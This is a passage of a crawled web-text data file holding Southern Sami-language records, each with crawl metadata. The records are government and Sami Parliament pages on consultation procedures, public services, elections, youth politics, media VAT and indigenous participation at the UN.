åejvieladtjh edtjieh dan varke gåarede Saemiedægkan bievnedh aalkoen bïjre sjyöhtehke aamhtesijstie mah maehtieh saemide ryöktesth tsevtsedh, jïh mej saemien ïedtji jïh tsiehkiej bïjre mah maehtieh bieline sjïdtedh aamhtesistie.\n● Mænngan Saemiedigkie bïevnesh sjyöhtehke aamhtesi bïjre åådtjeme, Saemiedigkie edtja bååstede bievnedh dan varke gåarede jis vaajteles jienebh rååresjimmieh tjïrrehtidh.\n● Saemiedigkie edtja aaj maehtedh aamhtesh bæjjese vaeltedh gusnie Saemiedigkie sæjhta rååresjimmieh tjïrrehtidh.\n● Dastegh staateles åejvieladtjh jïh Saemiedigkie seamadieh jienebh rååresjimmieh akten vihties aamhtesen bïjre hööltedh, edtjieh ektesne pryövedh sïemes sjïdtedh guktie edtjieh rååresjimmide tjïrrehtidh, daan nuelesne tïjje jïh sijjie rååresjimmide (v. tjåanghkoeh, videokonferansh, gaskese tellefovnesne, tjaaleldh materijaalem juekedh), tïjjemierieh vaestiedasside, dagke daerpies rååresjimmiejgujmie politihkeles daltesisnie, jïh politihkeles gïetedimmiehammoe. Edtja astoem vedtedh tjïelke rååresjimmieh tjïrrehtidh jïh politihkeles raeriestimmieh gïetedidh. Dastegh Saemiedigkien stoerretjåanghkoe edtja dam sjyöhtehke aamhtesem gïetedidh tjuara dam dan varke darjodh goh gåarede.\n● Desnie gusnie aamhtesh dam krievieh edtja sjïehteladtedh jienebh rååresjimmietjåanghkoeh hööltedh jïh ij aamhtesidie galhkedh dan guhkiem Saemiedigkie jïh staate aerviedieh dah maehtieh sïemes sjïdtedh.\n● Aamhtesinie mah reerenasseste gïetesuvvieh edtjieh tjïelkelaakan vuesiehtidh mej tsiehkiej bïjre dah leah sïemes sjïdteme Saemiedigkine gosse aamhtesidie buektieh dejtie departemeentide mah aamhtesem gïetedieh. Proposisjovnine jïh bïevnesisnie mah bæjjese vaaltasuvvieh Stoerredægkan, jïh gusnie reerenassen akte jeatjah vuajnoe goh Saemiedigkie, Saemiedigkien vuarjasjimmieh jïh vuajnoeh edtjieh tjåadtjodh.\n7. Protokolle\n● Edtja protokollem tjaeledh gaajhkijste rååresjimmietjåanghkojste staateles åejvieladtji jïh Saemiedigkien gaskem. Protokollesne edtja aktem åenehks reektestimmiem vedtedh man bïjre aamhtese lea, guejmiej vuarjasjimmieh jïh vuajnoeh, jïh konklusjovne aamhtesisnie.\n8. Daerpies salkehtimmiejgujmie \/ daajroevåaroeminie\nTjïelte- jïh regijonaaledepartemeente jïh Saemiedigkie ektesne aktem faageles analyjsedåehkiem nammoehtieh mij gaskem jeatjah saemien statistihken gaavhtan, aktem reektehtsem buakta tsiehkien jïh evtiedimmievæhtaj bïjre saemien siebriedahkine fïerhten jaepien. Reektehtse våaroemasse bïejesåvva rååresjimmide vihties aamhtesinie jïh rååresjimmide evtiedimmiedaerpiesvoeti bïjre saemien siebriedahkide aktene dejstie bieliejaepien tjåanghkojne staateraerien saemien aamhtesi åvteste, jïh Saemiedigkiepresidenten gaskem.\n● Gosse staateles åejvieladtjh jallh Saemiedigkie vienhtieh daerpies salkehtimmiejgujmie juktie rïektesvoetevåaromem jallh byjjes våaromem nænnoestehtedh vuarjasjimmide jïh sjæjsjalimmide, edtjieh dam bïeljelidh dan varke gåarede jïh guejmieh edtjieh gyhtjelassh mandaaten bïjre eventuelle salkehtimmide rååresjimmieprosessen sïjse buektedh. Staate jïh Saemiedigkie edtjieh pryövedh sïemes sjïdtedh dovne mandaaten jïh gïen bïjre mij edtja salkehtimmiebarkoem darjodh. Staate jïh Saemiedigkie dïedtem utnieh daerpies bïevnesh jïh materijaalem vedtedh mah leah daerpies salkehtimmiebarkose.\n9. Rååresjimmieh jeatjah saemien ïedtjeladtjigujmie mej bïjre lea\n● Aamhtesinie gusnie staate soejkesje saemien voenges siebriedahkigujmie jïh\/jallh sjïere saemien ïedtjigujmie rååresjidh mah maehtieh ryöktesth tsevtseme sjïdtedh laakijste jallh råajvarimmijste, staate edtja dan varke gåarede bïevnesh mej iedtielahtji \/årganisasjovni bïjre staate veanhta aamhtese lea, jïh iktedimmiem rååresjimmieprosessijste Saemiedigkine digkiedidh.\nGoh akte bielie latjkoste akte rååresjimmietjåanghkoe hööltesåvva fïerhten bieliejaepien staateraerien man dïedte saemien aamhtesi åvteste jïh saemiedigkiepresidenten gaskem.\nSïejhmemes tjåanghkoeh hööltesuvvieh ruffien jïh goeven gusnie saemiedigkiepresidente lea gåassoehtæjja tjåanghkose ruffien, jïh staateraerie tjåanghkose goeven. Tjåanghkosne aaj gyhtjelassh vihkeles jïh prinsihpeles karakteereste bæjjese vaaltasuvvieh, jïh prosessh mah juhtieminie. Tjïelke aamhtesh maehtieh aaj bæjjese vaaltasovvedh. Byögkeles ræhpas protokolle tjaalasåvva tjåanghkojste.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Vaaarome\/Raaaaresjimmielatjkoe","date":"2019-06-17T06:46:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998440.47\/warc\/CC-MAIN-20190617063049-20190617085049-00125.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":914,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjåanghkose håalojh lin bööresovveme mah guhkiem leah båajhtoeh bïevnesh jïh konspirasjovnh saemiej bïjre, saemien reaktaj jih Saemiedigkien bïjre buakteme.\n– Demokratije jïh dïhte seammavyörtegsvoete mejtie dah bagkehtieh eah aalkoealmetji jieledem, reaktide jïh båetijem aejkiem tjeekh. Dïjre maam dah eevtjin aktem vïerrebe klijma-aajmoem sjugnede saemien aamhtesidie jïh joekoen åarjelsaemien dajvesne, akte tjoeperdihks saemiedigkiepresidente jeahta.\nTjåanghkosne gellie saemieh jïh jeatjah goltelæjjah daejtie vuajnojde vuastalin.\n– Sïjhtem saemieh jïh mubpieh garmerdidh mah tjåanghkosne vuastalin, jalhts lij joekoen våajnoes öörnedæjja idtji dejtie tjåanghkose vaajtelh, saemiedigkiepresidente jeahta. Manne ålvesadtem gosse govlem akte saemien dajveaajhtere voestegh nyöjhkesovvi meatan årrodh tjåanghkosne, saemiedigkiepresidente jeahta.\nJoe tjåanghkoen åvtelen saemiedigkiepresidente gaskesem veelti tjïelten åejvine Saalbogisnie gusnie birri tjïelten åejviem tjåanghkoen vööste gïrredh. Dah aaj aktem tjåanghkoem nååhtedin Saalbogisnie.\n– Sïjhtem tjïelten åejviem jïh jeatjah tjïelten politihkerh gaavnedidh juktie Saemiedigkien, saemiej reaktaj bïjre jïh raeriestimmien bïjre bievnedh konsultasjovnelaakese. Dellie sïjhtem aaj tjirkijh meatan bööredih åarjelsaemien byjresi åvteste, saemiedigkiepresidente minngemosth jeahta\nDaan biejjien Saemiedigkie sæjhta lahtestimmiem aamhtesen bïjre gïetedidh.\nGaskesadtemebïevnesh:Saemiedigkiepresidente Aili Keskitalo, tlf. +47 971 29 305","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkiepresidente-Saalbogen-gaaajkoe-vuestie-saemien-tjaaanghkoen-maenngan","date":"2019-06-17T06:35:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998440.47\/warc\/CC-MAIN-20190617063049-20190617085049-00394.warc.gz","language":"sma","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000020265579224}","num_words":158,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Healsoe jïh hokse\nGaajhkesh mah dam daarpesjieh, edtjieh hijven jïh eensi healsoe- jïh sosijaaledïenesjh åadtjodh - saaht man båeries, saaht man stoerre baalhka jïh diagnovse. Åajvahkommes tjïelth jïh healsoesïelth (skïemtjegåetieh) daejtie dïenesjidie faalehtieh.\nStaaten lea dïedte seamma mierietsiehkieh gorredidh njoelkedassi jïh ekonomeles mieriej tjïrrh. Staaten aaj dïedte vaaksjodh jïh gïehtjedidh healsoe- jïh sosijaaledïenesjidie. Fylhkenålma jïjnjem daehtie barkoste dorje.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.fylkesmannen.no\/sma\/Healsoe-jih-hokse\/","date":"2019-06-16T22:10:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998298.91\/warc\/CC-MAIN-20190616202813-20190616224813-00053.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":69,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":57,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krirrienommem tjaalasovvedh\nKrirrienomme lea maam krirriem gohtje jïh maam krirrie sæjhta edtjedh veeljemesïetelidie tjaeledh.\nKrirrie ij daarpesjh sov krirrienommem tjaalasovvedh jis sæjhta veeljeme meatan årrodh. Krirrienommesne maahta aaj symbovlen årrodh. Krirrie maahta bïeljelidh jïh veeljemesïetelidie dængkodh bielelen tjaalasovveme krirrienommem utnedh.\nJis krirrienommem Veeljemeåejvieladtjesne tjaalasåvva dellie nommem vaarjele guktie ij jeatjah krirrie maehtieh dam utnedh.\nJis Veeljemeåejvieladtje edtja maehtedh krirrienommem tjaalasovvedh tjuerieh sjïere låhkoe veeljijste nåålesimmiem dåarjodh. Nomme ij åadtjoeh dan plearoeh jeatjah tjaalasovveme krirrienomme guktie dejtie aervede maahta lotnedidh. Aaj kreava krirrie vuesehte dej njoelkedassh jïh lea ståvroem veeljeme.\nNåålesimmie krirrienommem tjaalasovvemen bïjre edtja Veeljemeåejvieladtjese båateme eannan minngemes biejjien goevten askesne jis dïhte tjaalasovveme edtja faamoem utnedh veeljemisnie seamma jaepesne.\nJis krirrienommem veeljemisnie rïjhkebeajjan tjaalasovveme, dellie aaj veeljemisnie tjïelte- jïh laantedigkiereeremidie abpe laantesne tjaalasovveme jïh veeljemisnie Europa-parlameentese. Jis krirrienommem laantedigkiereeremasse tjaalasovveme, dellie seamma faamoem åtna veeljemisnie daennie laantedigkesne jïh veeljeminie tjïeltereeremidie dejnie tjïeltine mah daennie laantedigkesne. Tjaalasovveme veeljemisnie Europa-parlameentese ajve faamoem åtna veeljemisnie Europa-parlameentese.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/krirrienommem-tjaalasovvedh.html","date":"2019-06-15T23:19:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997501.61\/warc\/CC-MAIN-20190615222657-20190616004657-00293.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":154,"character_repetition_ratio":0.136,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Noerh eah saemiepolitihkem pryöjjedh. Dam gaajhkesh dovnesh govleme. Men dah mah dam jiehtieh eah dagke tjåanghkojne orreme NSR:sne, jeahta Cecilie-Kristiin Øien Thomsen mij lea åvtehke NSR:n Noeremoenehtsisnie.\n– Dan åvteste daesnie libie joekoen gellie noerh, jïh mov mïelen mietie dle mijjieh aaj politihkem tsevtsieh, jeahta Cecilie-Kristiin Øien Thomsen.\nDejstie 1134 maeksije lïhtsegijstie jaepien 2016 dellie 173 (15 %) lin noerelïhtsegh (nuelesne 26). – Dan åvteste badth NSR-N dihte stööremes saemien noeresiebrie nöörjen bielesne. NSR:n læstojne aaj gellie noerh. Dejstie golme bijjemes kandidaatijste NSR:n læstojne dle ojhte akte gåalmahtasse 30 jaepieh jallh nuerebe, Øien Thomsen jeahta.\nEvtiedimmesne meatan fulkedh\nAili Guttorm (25) Mosseste lea akte dejstie noerekandi- daatijste. Dïhte lea mubpiekandidaate saemiedigkie- veeljemasse NSR:se Åarjel-Nöörjen veeljemegievlesne. Dïhte 25 jaepien båeries nyjsenæjja lea noerelïhtsegi nie NSR:sne orreme gellie jaepieh, jïh joe jïjnjem daajroem saemien noerepolitihken bïjre åtna.\n– Ihke mijjieh edtjebe Saepmiem åvtese vaeltedh, tjoerebe mijjem dåarjoehtidh mah leah noere daan biejjien. Dan åvteste sïjhtem barkedh ihke mijjieh saemien noerh edtjieh hijven gïele- jïh kultuvrefaalenassh gaavnedimmiesijjieh utnedh, jïh saemien noerh edtjieh barkoem utnedh. Men tjoerebe noeri båetijen aajkan ellieslaakan ussjedidh, jïh dellie gaajhki bïjre, goh ööhpehtimmien raejeste, klijma jïh byjresen raajan, Guttorm jeahta.\nGuttorm veanhta aaj saemien noeride sæjhta vihkeles årrodh mijjieh buektiehtibie dam saemien kultuvrem meatan vaeltedh daajbaaletje veartenen sïjse.\nVuesiehtimmien gaavhtan dle tjuara aelhkie årrodh saemien gielem nedtesne nuhtjedh. – Saemien kultuvre tjuara meatan fulkedh evtiedimmesne. Ij sïjhth jiehtedh mijjieh edtjebe aerpievuekieh jarkelidh, men mijjieh edtjebe maehtedh dejtie meatan vaeltedh daan beajjetje siebriedahken sïjse. Naemhtie manne jaah- kam maahta saemien kultuvrem sjyöhtehke darjodh aaj mijjese noeride.\nJïjnjem politihkem tjïelkeste\nAnne Henriette Hætta Reinås (24) Skånlandeste tjïert- este noerepolitihke lea meatan dam saemien båetijem aejkiem hammoedidh. Daelie dïhte jïh NSR-N NSR:m ååjmedamme Saemiedigkie edtja aktem eensi LHBTQ+-politihkem nænnoestidh, mij amma lea saemien lesbiske, homofijle, bifijle, trans-almetji, queer-almetji jïh mubpiej bïjre mejtie ij gåaredh daej kategoriji sisnjeli tjïelkestidh.\n– Mijjieh mah leah noere tjoerebe saemiepolitihkem guhkiebasse eevtjedh. Daelie tjoerebe hoksedh Saep- mie gaajhkh saemieh tjeekieh, saaht maam seksuell- evoetide jallh tjoeleidentiteetide utnieh, jïh daate lea naakede destie mejnie mijjieh sïjhtebe vielie barkedh. Mov mïelen mietie dle nænnoes jïh ræhpas saemien byjresh jïh saemiensiebrieh sijhtieh meatan årrodh noere saemiej identiteetem jïh ektievoetem næn- noestehtedh. Hætta Reinås lea meatan veeljemisnie NSR:se Jilliemearoen veeljemegievlesne.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/nsr.no\/blog\/2017\/08\/15\/noerh-politihkem-jarkelieh\/?lang=sma","date":"2019-06-16T17:28:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998288.34\/warc\/CC-MAIN-20190616162745-20190616184745-00429.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":354,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soejkesje jïh bïgkeme\nSoejkesjimmie jïh arealereereme leah eevre daerpies akten hijven siebriedahkeevtiedimmien gaavhtan. Reerenasse jïh Stoerredigkie dejtie nasjovnale ulmide biejieh, men tjïelth jïh fyhkentjïelth dïedtem utnieh soejkesjimmien åvtesne tjïelte- jïh fylhkedaltesisnie. Soejkesje- jïh bïgkemelaaken mietie dle tjïelth edtjieh dam fysiske, ekonomeles, sosijaale jïh kultuvrelle evtiedimmiem iktedidh sijjen suerkine, akten juhtije tjïeltesoejkesjimmien tjïrrh. Fylhkentjïelte edtja sov soejkesjimmien tjïrrh staaten, fylhkentjïelten jïh tjïelti barkoem iktedidh fylhkesne.\nFylhkenålman göökte vihkeles laavenjassh arealereeremisnie:\n- Fylhkenålma, goh faagefaamoe laanteburrien, byjresevaarjelimmien, healsoen jïh siebriedahkejearsoesvoeten sisnjeli, edtja hoksedh nasjovnale iedtjh gorresuvvieh.\n- Fylhkenålma edtja hoksedh guktie tjïelten nænnoestimmieh soejkesje - jïh bïgkemeaamhtesinie leah sïejhme laaki mietie.\nMarka-laake\nLaake eatnemedajvi bïjre Oslosne jïh lïhkes tjïeltine (marka-laake) edtja hoksehtidh jïh sjïehteladtedh ålkoejieliedasse, eatnemedååjresasse jïh gaarsjelæmman. Laake edtja 'markan\" raasth gorredidh, jïh aktem ræjhkoes jïh gellielaaketje jïh eatneme- jïh kultuvrebyjresem gorredidh. Marka-laake vïjhte fylhkh feerhmie, Oslo, Akershus, Opplaante, Buskerud jïh Østfold, gusnie 19 tjïelth. Oslo jïh Akershusen Fylhkenålma aktem vihkeles råållam åtna marka-laakem tjïrrehtidh.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.fylkesmannen.no\/sma\/Soejkesje-jih-bigkeme\/","date":"2019-06-27T05:29:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000613.45\/warc\/CC-MAIN-20190627035307-20190627061307-00423.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":150,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EFTA:n vaaksjomeorgane (ESA) daen biejjien dåhkasjahteme jïjnjevierhtiemaaksoe-luejhtiehtimmiem elektroneles saerniedïenesji åvteste. – Aavosne juktie ESA dåhkasjahteme mijjieh maehtebe saernieh paehpierisnie jïh elektroneles hammosne seamma vuekine gïetedidh, finanseministere Siv Jensen (FrP) jeahta.\n- Soejkesjibie luejhtiehtimmie aalka njoktjen 1.b. 2016 juhtedh. Luejhtiehtimmesne gaajhkh saernieh mah åesiestimmesne utnijenmaaksoen åvteste, dovne paehpierisnie, pc:sne, mobijlen aatine, radiosne jïh tv:sne. Seamma maaksoen gïetedimmie seamma saaht teknologije saerniebuektemem jïh siebriedahken raeriestimmiem freemmedh, Siv Jensen jeahta.\n-Daate lea stoerre biejjie nöörjen medijidie jïh medijeutnijidie. Daate jienebh innovasjonem vadta jïh orre åesiestimmiehammoeh nænnoste nöörjen medijesuerkesne, kulturministere Linda Hofstad Helleland (H) jeahta.\n- Saerniemedijh stoerre aarvoem demokratijese jïh siebriedahkeraeriestæmman, jïh byöroe nullemomsem utnedh seamma saaht teknologijem nuhtjieh sisvegem åvtese buektedh. Dïhte juekeme maaksoen mietie paehpere jïh elektroneles saerniemediji gaskem jaepine orreme stoerre heerreme innovasjonen jïh jeatjahtehtemen åvteste medijesuerkesne. Dan gaavhtan manne madtjeles Nöörje daelie sjædta voestes laante Europesne mij maaksoeluejhtiehtimmiem sjïehtesje elektroneles saerniemedijidie, Helleland jeahta.\nESA sjæjsjele jïjnjeviehtiemaaksoe-luejhtiehtimmie staatedåarjoem sjædta, bene dïhte gujht lea staatedåarjoenjoelkedassi mietie. ESA lea luejhtiehtimmiem dåhkasjahteme njoktjen 1.b. 2022 raajan.\nTsihkestahta luejhtiehtimmie elektroneles saerniedïenesjh jeenjemes edtja gaertjiedidh goh daen biejjien luejhtiehtimmie paehpereavijsidie jïh åejvietsiehkiem dïenesjen sisvegem tjatneme. Dïhte dan gaavhtan luejhtiehtimmie edtja dïenesjh faerhmiestidh mej sisvege gamte gaptjemem saernieh- jïh daaletjensåårnemh mah leah åålmegasse. Saerniedïenesjh mah jeenjemes ajve akte suerkesne jallh akte ïedtjese jallh sïeltese ij luejhtiehtimmiem åadtjoeh.\nDaen biejjien plaeriej jïjnjevierhtiemaaksoe-luejhtiehtimmie ajve plaerieh paehpierisnie. Plaerieh jïh saernieh elektroneles hammosne vååjnoe goh elektroneles dïenesjh mah 25 prosenth jïjnjevierhtiemaaksoem utnieh. Luejhtiehtimmie jïjnjevierhtiemaaksoem elektroneles saerniedïenesji åvteste ESA notifiseradamme goeven 1.b. 2015. Stoerredigkie dah daerpies jeatjahtehtemh jïjnjevierhtiemaaksoe-laakesne goeven 18.b. 2015 sjæjsjali. Tsihkestahta luejhtiehtimmie aalka njoktjen 1.b. 2016 juhtedh.\nLuejhtiehtimmine tjuara jïjnjevierhtiemaaksoe-njoelkedassem jeatjahtehtedh. Njoelkedasse goltelimmesne goevten 1.b. 2016 raajan.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.regjeringen.no\/se\/aktuelt\/esa-lea-dahkasjahteme-jijnjevierhtiemaaksoe-luejhtiehtimmiem-elektroneles-saerniedienesji-avteste\/id2471793\/","date":"2019-07-16T16:56:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195524679.39\/warc\/CC-MAIN-20190716160315-20190716182315-00041.warc.gz","language":"sma","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999948740005493}","num_words":258,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reereme vaarjelimimedajvijste\nDïhte dïedte vaarjelimmiedajvide reeredh lea juakeme staateles jïh voenges åejvieladtji gaskem. Fylhkenålma lea reeremeåajvaladtje dejnie jeanatjommes eatnemereservaatine. 2010 raejeste dle tjïelth mah dajvem utnieh nasjovnaalepaarhkine jïh stuerebe eatnemevaarjelimmiedajvine faalenassem åådtjeme reeremedïedtem vaeltedh. Jienebh gasketjïelten vaarjelimmiedajveståvroeh tseegkesovveme. Akte staateles vaarjelimmiedajvereerije lea tjaelije ståvrojde.\nReeremeåejvieladtjh edtjieh uvtemes vaarjelimmienjoelkedasside voebnesjidh jïh reereme- jïh jurjemesoejkesjh darjodh. Dej aaj dïedte bievnedh jïh mïerhkesjidh vaarjelimmiedajvine, jïh baalkah jïh pruvvieh dåvvodh. Daate daamtaj dorjesåvva Staaten eatnemevaaksjoeminie ektine.\nMaahtah vaarjelimmiedajvine feeledh\nÅålmegereakta dutnjien nuepiem vadta feeledh gusnie sïjhth vaarjelimmiedajvine. Tjoerh tjaebpieslaakan feeledh, olles kreekh jïh sjædtoeh arhkenh jallh stïrrelgåetieh. Såemies dajvine maahtah luhpehts årrodh feeledh såemies bieline jaepeste, goh joglemetïjjen jïh gosse tjovkh båetieh. Dejnie jeanatjommes vaarjelimmiedajvine dle dovne vijreme jïh gööleme luhpies, jis luhpies vijreme- jïh göölemekåarhtem åtna. Maahtah möörjedh jïh goebperh tjöönghkedh guktie sïjhth.\nUlmie lea motovrefeelemem vaarlelimmiedajvine gaertjiedidh, dovne kreeke- jïh sjædtoej gaavhtan, vuejemeskaaraj gaavhtan jïh ihke almetjh edtjieh eatnemem dååjredh bielelen naan sturreldh stujmie.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.fylkesmannen.no\/sma\/Rogalaanten\/Byjrese-jih-klijma\/Vaarjelimmiedajvh\/","date":"2019-07-19T02:46:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525973.56\/warc\/CC-MAIN-20190719012046-20190719034046-00521.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":48,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":151,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EN:n ihkuve forume aalkoealmetjeaamhtesidie raerieh reeblie maehtehtjijstie, jïh juvnehtimmieh vadta suerkiej bïjre goh ekonomeles jïh sosijaale evtiedimmie, kultuvre, byjrese, ööhpehtimmie, healsoe jïh almetjereaktah.\nDaan jaepien sesjovnesne Saemiedigkie joekoen dejtie aamhtesidie dåerede mah leah implementeradimmien bïjre EN:n bæjhkoehtimmeste aalkoealmetji reaktaj bïjre. Presidente aaj akten govlehtæmman bööresovveme EN:n Generaalekrirreste dan guhkiebasse prosessen bïjre juktie gorredidh aalkoealmetji representatijve institusjovnh EN-systeemesne åadtjoeh eensilaakan meatan årrodh. Daate akte aamhtese mejnie Saemiedigkie lea guhkiem barkeme dan åvteste mijjieh goh almetjeveeljeme årgaane saemide Nöörjesne, ibie jïjtsh nuepiem utnieh tjåanghkojne mïnnedh sjyöhtehke daltesinie EN:sne seamma nuepiejgujmie goh sivijlesiebriedahken årganisajovnh (NGOh). Saemiedigkiepresidente lea beavneme satne edtja håalodh daej teemaj bïjre.\nSaemiedigkien dååjrehtimmie vuesehte gosse mijjieh nuepiem åadtjobe jïjtsh vuajnoeh buektedh prosessine mah leah mijjen reaktaj bïjre dellie buerebe dåarjoem åadtjobe. EN:n vaaksjoemeårgaani sisnjeli konvensjovnide mejtie Nöörje lea ratifiseradamme mijjieh alternatijve reektehtsh deellebe. Seammalaakan ILO 169 konvensjovnen bïjre aalkoealmetji bïjre. Daan biejjien maehtebe meatan årrodh govlehtimmine raerine jïh moenehtsinie goh EN:n Almetjereaktaraerie, EN:n Almetjereaktamoenehtse, EN:n nyjsenesïerredimmiemoenehtse, EN:n sïerredimmiemoenehtse jïh EN:n maanamoenehtse. Aalkoealmetjeparlameentide jïh jeatjah representatijve institusjovnide byöroe dam vijriedidh guktie aaj faamosne gaajhkine sjyöhtehke daltesinie EN:sne. Vuesiehtimmien gaavhtan EN:n klijmakonvensjovnen sisnjelen, EN:n konvensjovne biologeles gellievoeten bïjre jïh tjåanghkoeh EN:n Generaalekrirresne. Daan biejjien libie jearohke meatan årrodh Nöörjen delegasjovnen tjïrrh dagkerh tjåanghkojne. Daate maahta mijjen nuepieh gaertjiedidh juktie Saemiedigkien vuajnoeh buektedh.\nDaan jaepien forumisnie Keskitalo sæjhta håalodh Dan gaskenasjovnale jaepien bïjre aalkoealmetjegïelide, 2019 maam UNESCO tjïrrehte. Lissine presidente sæjhta håalomem hööltedh laavadahken voerhtjen 21.b. aktene konferansesne aalkoealmetjegïeli bïjre Colombia Universiteetesne. Saemiedigkien guhkiebasse barkoe salkehtimmeste NBS 2016:18 - Vaajmoegïele, sæjhta våaroeminie årrodh jeenjede destie mij edtja jeahtasovvedh. Veartenen medtie 370 millijovnh aalkoealmetjh mah jieniebinie goh 90 laanth årroeminie leah vaenebh goh vïjhte prosenth gaajhkijste årroejijstie veartenisnie, men læjhkan soptsestibie jienebelåhkoen bïjre dejstie veartenen aerviedamme 7000 gïelijste mah gååvnesieh 5000 ovmessie aalkoealmetjekultuvrine. Gellieh dejstie gïelijste leah itjmies håvhtadamme. Akte stoerre teehpeme gaajhkide almetjidie jis aalkoealmetji gïelh jïh kultuvrh gaarvanieh. Dan åvteste daerpies råajvarimmiejgujmie mah gïelide vaarjelieh jïh evtiedieh. Daate aaj tjarke faamosne dejtie saemien gïelide.\nOle Henrik Bjørkmo Lifjell SNPM:ste sæjhta meatan årrodh dennie veartenevijries noereaalkoealmetjeöörnedimmesne caucus, jïh sæjhta meatan årrodh aamhtesh buektedh mah dah sijhtieh eevtjedh. Soejkesjen mietie edtja dan arktihkeles dajven ulmieh iktedidh (saemieh jïh inuihth) ovmessie agendatsiehkine. Seammalaakan aaj Saemien parlamentarihkeles raaran (SPR). Jienebh dejstie håaloemijstie saemiedigkijste sijhtieh iktedamme årrodh. Vuesiehtimmien gaavhtan digkiedimmesne aktegsaamhtesi bïjre goh Arctic Railway jïh Deatnu-latjkoe, jïh aaj digkiedimmine kruana energijen bïjre goh bïegkejårrehtsh jïh bïegkefaamoe, jïh aamhtesinie mah leah gruvagïehtelimmien bïjre aalkoealmetjedajvine.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkie-lea-meatan-tjaaanghkojne-EN-gaaetesne-New-Yorkesne","date":"2019-07-21T23:03:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00057.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":389,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Produksjovnesïelte TMM produksjoner AS lea Saemiedigkiem syökeme dåarjoen bïjre juktie dam åarjelsaemien maana-TV-raajroem \"Sööfe\" darjodh. Raajroen dahkoe lea ektiedimmiem utnedh göökte ovmessie kultuvrine, gusnie Sööfem dåerede, akte 11 jaepien båeries nïejte, mij raajroen tjïrrh svæhtja dehtie nïejteste mij 